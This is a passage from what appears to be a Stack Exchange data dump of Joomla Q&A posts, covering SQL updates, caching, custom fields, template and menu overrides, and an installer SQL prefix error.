tested):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE course_dates as cd&#xA;SET cd.area_code =&#xA;(SELECT t1.cb_area_code&#xA;FROM traincomprofiler as t1 &#xA;WHERE t1.cb_role = 'services'&#xA;AND t1.user_id = [user_id] ) WHERE cd.user_id = [user_id] ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-11-13T21:08:35.510" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23753" PostTypeId="2" ParentId="9913" CreationDate="2018-11-13T21:10:02.770" Score="0" Body="&lt;p&gt;I thought I'd close this one off with what I ended up doing to solve my migration process.&#xA;In the end I bought a copy of &lt;strong&gt;&lt;em&gt;jbackend&lt;/em&gt;&lt;/strong&gt; which you can find in joomla extensions directory which is a plugin solution with component support making it very flexible and customisable.&#xA;Can't recommend it enough. It's been running on my site for a few years now and the App has about 30k monthly users which it supports without problems.&lt;/p&gt;&#xA;" OwnerUserId="5236" LastActivityDate="2018-11-13T21:10:02.770" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23754" PostTypeId="1" CreationDate="2018-11-13T21:16:31.053" Score="1" ViewCount="36" Body="&lt;p&gt;I've written a custom component and I'm trying to improve its performance by including Joomla's caching.&#xA;One view has additional detail which is only included for logged in users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been selectively switching the caching on using the JControllerLegacy display() $cachable and $urlparams which works very well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question. Is there any way to get $urlparams to take into account login status (ie JFactory::getUser()-&gt;guest)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment I'm just caching if the user is a guest and turning it off for logged in.&#xA;I'd like it to cache both view variations.&lt;/p&gt;&#xA;" OwnerUserId="5236" LastActivityDate="2018-11-13T21:16:31.053" Title="Caching a page separately for users and guests?" Tags="|joomla-3.x|cache|cache-handler|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23755" PostTypeId="1" AcceptedAnswerId="23756" CreationDate="2018-11-13T21:53:51.243" Score="2" ViewCount="2324" Body="&lt;p&gt;Ok I am having a hard time with this one. I just inherited a 3.8.x Joomla site and all I'm trying to do is include a GTM script in the head of the document. What's happening is that anything within script tags or injected via $document-&gt;addScript(''); will be moved down to the end of the document. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I simply include a script tag in the head, and prevent it from being moved to the footer?&lt;/p&gt;&#xA;" OwnerUserId="13056" LastActivityDate="2018-11-13T22:11:50.130" Title="How to include scripts in &lt;head&gt;" Tags="|joomla-3.x|javascript|header|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23756" PostTypeId="2" ParentId="23755" CreationDate="2018-11-13T22:06:45.737" Score="3" Body="&lt;p&gt;Default Joomla behaviour is to add scripts to the head element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try looking where &lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&lt;/code&gt; appears in your template (under template/YOURTEMPLATE/index.php) - it may have been moved to the footer here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise, it might be a plugin which is moving the scripts to the footer, so you might want to review which have been installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Google tells me that there is one called ScriptsDown, so it could well be that.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2018-11-13T22:06:45.737" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23757" PostTypeId="2" ParentId="23755" CreationDate="2018-11-13T22:11:50.130" Score="1" Body="&lt;p&gt;Turns out I DID have the ScriptsDown plugin installed, although it didn't show up the first time I searched for it in my early exploration of this issue. I'm guessing I had a typo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, this was the issue. Disabling this plugin fixed my problem; thanks for your help! &lt;/p&gt;&#xA;" OwnerUserId="13056" LastActivityDate="2018-11-13T22:11:50.130" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23758" PostTypeId="2" ParentId="23747" CreationDate="2018-11-14T00:09:14.293" Score="1" Body="&lt;p&gt;Joomla is a PHP based content management system and web pages are built dynamically depending on which template, component, modules and plugins are associated with the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTML can't easily be edited directly although there are extensions that allow you to add and change code. For example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the free or paid version of &lt;a href=&quot;https://extensions.joomla.org/extension/sourcerer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Regular Labs Sourcerer&lt;/a&gt; allows you to insert code into an article or module&lt;/li&gt;&#xA;&lt;li&gt;the free or paid version of &lt;a href=&quot;https://extensions.joomla.org/extension/rereplacer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Regular Labs ReReplacer&lt;/a&gt; allows you to change existing html code on the page to alternative code&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/easyscript&quot; rel=&quot;nofollow noreferrer&quot;&gt;EasyScript&lt;/a&gt; (free) can be used to insert CSS or JavaScript code into the header&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Rather than trying to edit code directly, the best practice is to override existing code so that your changes are not overwritten by template or other extension changes in future. For more details see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2018-11-14T00:09:14.293" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23759" PostTypeId="2" ParentId="23685" CreationDate="2018-11-14T10:27:57.097" Score="3" Body="&lt;p&gt;I was able to solve the issue thanks to the help from &lt;a href=&quot;http://%20github.com/joomla/joomla-cms/issues/21960&quot; rel=&quot;nofollow noreferrer&quot;&gt;github&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add following code to the /sitefolder/administrator/includes/helper.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!class_exists('JToolbarHelper')) {&#xA;require_once JPATH_ADMINISTRATOR . '/includes/toolbar.php';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then I update it again to the latest version.&lt;/p&gt;&#xA;" OwnerUserId="13059" LastActivityDate="2018-11-14T10:27:57.097" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23760" PostTypeId="1" AcceptedAnswerId="23761" CreationDate="2018-11-14T13:18:08.557" Score="0" ViewCount="764" Body="&lt;p&gt;excuse for my English. &#xA;I try to retrieve my value from a custom field in com_categories. I added this field by a plugin. My value is correctly saved but i don't why, i can't retrieve my value from the field in blog_item.php file. (Of course, i ovverided this component)&#xA;I used this tutorial to make the plugin : &lt;a href=&quot;https://zunostudios.com/blog/development/203-how-to-add-custom-fields-to-articles-in-joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://zunostudios.com/blog/development/203-how-to-add-custom-fields-to-articles-in-joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;zfield.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// no direct access&#xA;defined ( '_JEXEC' ) or die ( 'Restricted access' );&#xA;&#xA;class plgContentZfields extends JPlugin {&#xA;&#xA;        /**&#xA;         * Load the language file on instantiation.&#xA;         * Note this is only available in Joomla 3.1 and higher.&#xA;         * If you want to support 3.0 series you must override the constructor&#xA;         *&#xA;         * @var boolean&#xA;         * @since 3.1&#xA;         */&#xA;&#xA;        protected $autoloadLanguage = true;&#xA;&#xA;        function onContentPrepareForm($form, $data) {&#xA;&#xA;                $app = JFactory::getApplication();&#xA;                $option = $app-&amp;gt;input-&amp;gt;get('option');&#xA;&#xA;                switch($option) {&#xA;&#xA;                    case 'com_categories':&#xA;                        if ($app-&amp;gt;isAdmin()) {&#xA;&#xA;                                JForm::addFormPath(__DIR__ . '/forms');&#xA;&#xA;                                //Show specific forms based on categories&#xA;                                $form-&amp;gt;loadFile('content', false); &#xA;&#xA;                        }&#xA;                        return true;&#xA;&#xA;                }&#xA;&#xA;                return true;&#xA;&#xA;        }&#xA;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;content.xml&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fields name=&quot;params&quot; &amp;gt;&#xA;        &amp;lt;fieldset name=&quot;params&quot; &amp;gt;&#xA;&#xA;            &amp;lt;field name=&quot;backgroundcolor&quot;&#xA;                type=&quot;color&quot;&#xA;                label=&quot;Color of the category&quot;&#xA;                /&amp;gt; &#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;autoblog_item.php (overrided file)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.&#xA;.&#xA;.&#xA;&amp;lt;?php // Todo Not that elegant would be nice to group the params ?&amp;gt;&#xA;&amp;lt;?php $useDefList = ($params-&amp;gt;get('show_modify_date') || $params-&amp;gt;get('show_publish_date') || $params-&amp;gt;get('show_create_date')&#xA;    || $params-&amp;gt;get('show_hits') || $params-&amp;gt;get('show_category') || $params-&amp;gt;get('show_parent_category') || $params-&amp;gt;get('show_author') || $assocParam); ?&amp;gt;&#xA;&#xA;&amp;lt;?php if ($useDefList &amp;amp;&amp;amp; ($info == 0 || $info == 2)) : ?&amp;gt;&#xA;    &amp;lt;?php // Todo: for Joomla4 joomla.content.info_block.block can be changed to joomla.content.info_block &#xA;$attributes = json_decode($this-&amp;gt;item-&amp;gt;params);&#xA;echo &quot;background&quot;.$attributes-&amp;gt;backgroundcolor;&#xA;    ?&amp;gt;&#xA;    &amp;lt;div&amp;gt;&#xA;    &amp;lt;?php echo JLayoutHelper::render('joomla.content.info_block.block', array('item' =&amp;gt; $this-&amp;gt;item, 'params' =&amp;gt; $params, 'position' =&amp;gt; 'above')); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php if ($info == 0 &amp;amp;&amp;amp; $params-&amp;gt;get('show_tags', 1) &amp;amp;&amp;amp; !empty($this-&amp;gt;item-&amp;gt;tags-&amp;gt;itemTags)) : ?&amp;gt;&#xA;    &amp;lt;?php echo JLayoutHelper::render('joomla.content.tags', $this-&amp;gt;item-&amp;gt;tags-&amp;gt;itemTags); ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;.&#xA;.&#xA;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My final goal is to put a background-color to each category. I want to use the value in my custom field to define the background-color. Any ideas please ?&lt;/p&gt;&#xA;" OwnerUserId="12432" LastEditorUserId="12432" LastEditDate="2018-11-14T15:04:37.287" LastActivityDate="2018-11-15T09:22:11.143" Title="Retrieve values from a custom field in Joomla 3.8" Tags="|joomla-3.x|template-override|custom-field|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23761" PostTypeId="2" ParentId="23760" CreationDate="2018-11-14T14:28:49.120" Score="1" Body="&lt;p&gt;The category object is &lt;code&gt;$this-&amp;gt;category&lt;/code&gt;, not &lt;code&gt;$this-&amp;gt;item&lt;/code&gt; and params are a &lt;code&gt;Registry&lt;/code&gt; object so no need for &lt;code&gt;json_decode()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $this-&amp;gt;category-&amp;gt;params-&amp;gt;get('backgroundcolor');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;To show category params for each article based on that article's category, you need retrieve the category for each article:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$categoryParams = JCategories::getInstance('Content')-&amp;gt;get($this-&amp;gt;item-&amp;gt;catid)-&amp;gt;getParams();&#xA;echo $categoryParams-&amp;gt;get('backgroundcolor');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2018-11-15T09:22:11.143" LastActivityDate="2018-11-15T09:22:11.143" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="23762" PostTypeId="1" CreationDate="2018-11-14T16:39:15.027" Score="3" ViewCount="269" Body="&lt;p&gt;I'm new to Joomla and currently creating a template for my website. Unfortunately I'm facing a problem which I did not found out how to solve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted a front page which is different from the rest of the website. &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=803501&quot; rel=&quot;nofollow noreferrer&quot;&gt;On the web&lt;/a&gt; I read that I have to override the &lt;code&gt;{template}/html/com_content/featured/default.php&lt;/code&gt; file for a different front page. Until here, this works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I encounter is that I want to have a page where all featured items are listed ordered by their publishing date (for example like most Blogs). I found out that I have to override the same file as for the front page (&lt;code&gt;{template}/html/com_content/featured/default.php&lt;/code&gt;) but I want to design this page completely different than the front page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a possibility to create something like a &quot;second overwrite&quot; in the &lt;code&gt;com_content/feature&lt;/code&gt; directory? E.g. creating a &lt;code&gt;default_frontpage.php&lt;/code&gt; in this folder and apply this override only to the front page while using the &lt;code&gt;default.php&lt;/code&gt; for the listing of the featured items?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the best way to archive my goal?&#xA;If possible, I want to avoid to copy the whole template with all its files (this seems error-prone to manage all dependencies to me) and instead create one file for the front page only.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Michael answered, I added a new file called &lt;code&gt;frontpage.php&lt;/code&gt; in the &lt;code&gt;html/com_content/featured&lt;/code&gt; folder (and yet copied the content of the &lt;code&gt;default.php&lt;/code&gt;) but unfortunately, I cannot choose this file as the template theme. Do I have to provide information somewhere that there is a second file beside the default template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jY3NL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jY3NL.png&quot; alt=&quot;Directory Tree&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Cola4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cola4.png&quot; alt=&quot;Available Template-Theme Options&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13060" LastEditorUserId="13060" LastEditDate="2018-11-14T17:27:18.653" LastActivityDate="2019-09-29T23:02:45.517" Title="How to create two different template overrides for the start page and featured articles?" Tags="|templates|overrides|style|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23763" PostTypeId="2" ParentId="23762" CreationDate="2018-11-14T16:51:29.710" Score="1" Body="&lt;p&gt;You'll be surprised to know that the solution is way easier than you might have imagined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're not &lt;em&gt;required&lt;/em&gt; to name it &quot;default.php&quot;.  You can name it anything you want.  You could, for example, name it &quot;homepage.php&quot; (I'll continue using this name.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you've created your homepage.php in the /html/com_content/featured/ folder, the new option will appear within your menu item edit screen.  The details tab has a setting for &quot;Template Style&quot;.  In this dropdown, you'll find your new homepage file listed as an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, this only works with com_content.  I've recently created a bug report in the Joomla GitHub for a few other components - but for now you can only rely on this working in com_content.&lt;/p&gt;&#xA;" OwnerUserId="2066" LastActivityDate="2018-11-14T16:51:29.710" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23764" PostTypeId="1" AcceptedAnswerId="23767" CreationDate="2018-11-14T18:25:17.023" Score="1" ViewCount="286" Body="&lt;p&gt;I have a custom component and I want to add language filter to my  extension.&#xA;So in my sql update file I added the following two lines to Alter  my tables.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ALTER TABLE `#__contract_contracts` ADD `language` CHAR(7) NOT NULL DEFAULT '*' AFTER `alias`;&#xA;ALTER TABLE `#__contract_templates` ADD `language` CHAR(7) NOT NULL DEFAULT '*' AFTER `alias`;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I get the following error and cannot update.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning&#xA;  JInstaller: :Install: Error SQL Incorrect table name 'ALTER TABLE '&#xA;  Extension Update: SQL error processing query: DB function failed with error number 1103 &#xA;  Incorrect table name 'ALTER TABLE '&#xA;  SQL =&#xA;  ALTER TABLE `ALTER TABLE `&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Error&lt;br&gt;&#xA;  Error installing component&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I checked table and field names many many times and when I run the following queries in phpMyAdmin works.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ALTER TABLE `jdev_contract_contracts` ADD `language` CHAR(7) NOT NULL DEFAULT '*' AFTER `alias`;&#xA;ALTER TABLE `jdev_contract_templates` ADD `language` CHAR(7) NOT NULL DEFAULT '*' AFTER `alias`;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12709" LastEditorUserId="12352" LastEditDate="2018-11-14T22:35:14.570" LastActivityDate="2018-11-15T08:15:42.950" Title="SQL Error when updating custom component in Joomla 3.9" Tags="|mysql|custom-component|jinstaller|joomla-3.9|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23765" PostTypeId="2" ParentId="20533" CreationDate="2018-11-14T20:15:03.363" Score="1" Body="&lt;p&gt;If all your plurals consist of just adding an &quot;s&quot; to the end, then this can easily be done by modifying the smart search plugin to include an &quot;OR&quot; condition that also includes the search word with an &quot;s&quot;. If you want very high accuracy, then you will need to add a dictionary to your database, and then query the database for the plural of a word. We actually recently did something very similar, where we included the synonyms of the word in the search (see &lt;a href=&quot;https://www.itoctopus.com/how-we-modified-the-joomla-search-plugin-to-include-synonyms&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;). This would take time but it is generally not that complicated.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2018-11-14T20:15:03.363" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23767" PostTypeId="2" ParentId="23764" CreationDate="2018-11-15T01:23:10.310" Score="1" Body="&lt;p&gt;Here is the problem as I understand it -- I am also simultaneous stroking a crystal ball as I break this down.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You have an &lt;code&gt;install.mysql.utf8.sql&lt;/code&gt; file which contains (at least) a &lt;code&gt;CREATE&lt;/code&gt; query followed by (at least) one &lt;code&gt;ALTER TABLE&lt;/code&gt;.  It might look like this (additional tables creations are irrelevant to my explanation) ...&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TABLE IF NOT EXISTS #__contract_contracts (...&#xA;...&#xA;) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_unicode_ci;&#xA;ALTER TABLE #_contract_contracts ADD id INT PRIMARY KEY AUTO_INCREMENT;&#xA;             ^^---whoops, typo @ prefix&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, you realize that there is a typo, you fix the syntax, clear the cache and tmp folder, but the flawed install &lt;em&gt;actually&lt;/em&gt; completed with the typo in the install file, so it should be uninstalled. Alas, even after all those tactics in combination with any other unmentioned processes that you performed while un-installing then re-installing the component failed to erase the flawed version of your install file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is a single missing underscore causing so much trouble?  Joomla is very precisely hunting for the prefix placeholder &lt;code&gt;#__&lt;/code&gt; -- any deviation from that 3-character sequence will be ignored as a prefix replacement substring.  I am also going to assume that there were no backticks around the table name after &lt;code&gt;ALTER TABLE&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the prefix placeholder was not replaced by Joomla, MySQL will treat the &lt;code&gt;#&lt;/code&gt; as it normally does -- as the start of a comment!  This renders any characters after the &lt;code&gt;#&lt;/code&gt; as &quot;non-actionable&quot;.  Now your query is read like this:  (I'll replace the MySQL comment with PHP comment syntax)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;   ALTER TABLE //_contract_contracts` ADD id INT PRIMARY KEY AUTO_INCREMENT;&#xA;   ^^^^^^^^^^^^-- only this part is read by MySQL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then your lone update file will be added to the end of that...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;ALTER TABLE ALTER TABLE `#__contract_contracts` ADD `language` CHAR(7) NOT NULL DEFAULT '*' AFTER `alias`;&#xA;ALTER TABLE `#__contract_templates` ADD `language` CHAR(7) NOT NULL DEFAULT '*' AFTER `alias`;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Finally, my advice is to uninstall your component (again).  Double-check that you have actually saved your typo correction in the file being used. Reset the versioning so that Joomla knows to read the corrected install file. Feel free to clear any caching that you are concerned about.  Then install the component as if for the first time.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-11-15T08:15:42.950" LastActivityDate="2018-11-15T08:15:42.950" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23768" PostTypeId="2" ParentId="23734" CreationDate="2018-11-15T07:06:10.890" Score="0" Body="&lt;p&gt;It turned out that the code above is good. However I ran it again the wrong php installation that caused the constructor of the parent object of JApplicationCli to silently exit. Running the code against the right php executable, it all works fine! Thanks for the hints!&lt;/p&gt;&#xA;" OwnerUserId="12966" LastActivityDate="2018-11-15T07:06:10.890" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23770" PostTypeId="1" AcceptedAnswerId="23771" CreationDate="2018-11-15T14:47:38.937" Score="0" ViewCount="299" Body="&lt;p&gt;I am currently creating a template for Joomla v.3.9. The accordion menu is already included. For this I made an &quot;Override&quot; by copying the folder &quot;mod_menu&quot; into the template folder and adjusting it. So far so good. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm struggling to adjust the structure of the a-tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li item-241 deeper parent&amp;gt;&amp;lt;a href=&quot;#&quot; title=&quot;changethecolor&quot; class=&quot;fi-foot&quot;&amp;gt; Rathaus&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to move the title-Attribute to the li-Tag. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li item-241 deeper parent background-color=&quot;changethecolor&quot;&amp;gt;&amp;lt;a href=&quot;#&quot; class=&quot;fi-foot&quot;&amp;gt; Rathaus&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the moment, i'm looking for the right file to change it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe one of you can tell me which file I have to edit or how I have to start?!&lt;/p&gt;&#xA;" OwnerUserId="13064" LastActivityDate="2018-11-15T16:30:50.540" Title="How to override schema of link in menu?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23771" PostTypeId="2" ParentId="23770" CreationDate="2018-11-15T16:30:50.540" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I made an &quot;Override&quot; by copying the folder &quot;mod_menu&quot; into the template folder&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You only need to copy files from &lt;code&gt;modules/mod_menu/tmpl/&lt;/code&gt; folder, not the whole &lt;code&gt;modules/mod_menu/&lt;/code&gt; folder. The files must be placed in &lt;code&gt;templates/your_template/html/mod_menu/&lt;/code&gt;folder to be detected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The folder contains the main &lt;code&gt;default.php&lt;/code&gt; layout which loads a specific layout for each menu item based on menu item type. To remove the title, edit type-specific layouts (&lt;code&gt;default_component.php&lt;/code&gt;, &lt;code&gt;default_heading.php&lt;/code&gt;, &lt;code&gt;default_separator.php&lt;/code&gt; and &lt;code&gt;default_url.php&lt;/code&gt;). And to add title to &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; element edit the main layout.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-11-15T16:30:50.540" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23772" PostTypeId="2" ParentId="22167" CreationDate="2018-11-15T17:06:16.613" Score="0" Body="&lt;p&gt;When you want the script on only one (or more) articles(s) and when using Gantry5 Framework, go to Components, Outlines, create a new Outline using the Default Outline, go to Page Settings, add the javascript in the Body Attributes, in the Before window then assigned the new Outline in Assignments to the article(s).&lt;/p&gt;&#xA;" OwnerUserId="13065" LastEditorUserId="13065" LastEditDate="2018-11-15T17:22:15.270" LastActivityDate="2018-11-15T17:22:15.270" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23773" PostTypeId="2" ParentId="23747" CreationDate="2018-11-15T17:22:30.077" Score="0" Body="&lt;p&gt;Best thing is to create a new article from scratch and then link that new article to the Menu item that was previously linked to byt he old article you are replacing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using this what you are asking whn you say &quot; I am not talking about editing an article, but the whole URL. And just a single one! Is there a way to upload a HTML-File that replaces a specific URL&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use copy and paste to use the old text if you want to keep some of it but I am sure you know about this.&lt;/p&gt;&#xA;" OwnerUserId="13066" LastActivityDate="2018-11-15T17:22:30.077" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23774" PostTypeId="2" ParentId="23747" CreationDate="2018-11-15T17:32:00.610" Score="0" Body="&lt;p&gt;I have just noticed that you have posted a link to your article so I suggest go to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Content &gt;&gt; Articles&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now locate your page that you want to edit.  Click on it and it will open in your default editor.  You can now edit the section of the page and then you need to save it by clicking on the grenn button on the top left corner that says &quot;Save&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="13066" LastActivityDate="2018-11-15T17:32:00.610" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23775" PostTypeId="2" ParentId="23747" CreationDate="2018-11-15T22:49:06.803" Score="1" Body="&lt;p&gt;Have you tried physically creating a file at &lt;code&gt;/onlineshop/product/view/5/14.html&lt;/code&gt; with the replacement HTML code? Works when I tested it just now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a physical file exists at that request Joomla shouldn't come in to the picture. The server should serve that physical file instead. This is assuming you're running on an Apache server and your .htaccess is set up correctly (which it looks like it is)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why this should work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When someone requests &lt;code&gt;dormo-novo.at/onlineshop/product/view/5/14.html&lt;/code&gt; from your server the server will discover that &lt;code&gt;/onlineshop/product/view/5/14.html&lt;/code&gt; is not a real folder or file on your system. However, your .htaccess file it tells the server, &quot;hey, if someone requests a folder or file that doesn't exist, send that request through Joomla so that Joomla can attempt to handle it&quot; (That's how Joomla SEF URLs work). But, if the folder/file &lt;strong&gt;does&lt;/strong&gt; exist then the server will serve that folder/file instead of redirecting the request through Joomla.&lt;/p&gt;&#xA;" OwnerUserId="9459" LastEditorUserId="9459" LastEditDate="2018-11-16T13:39:02.667" LastActivityDate="2018-11-16T13:39:02.667" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
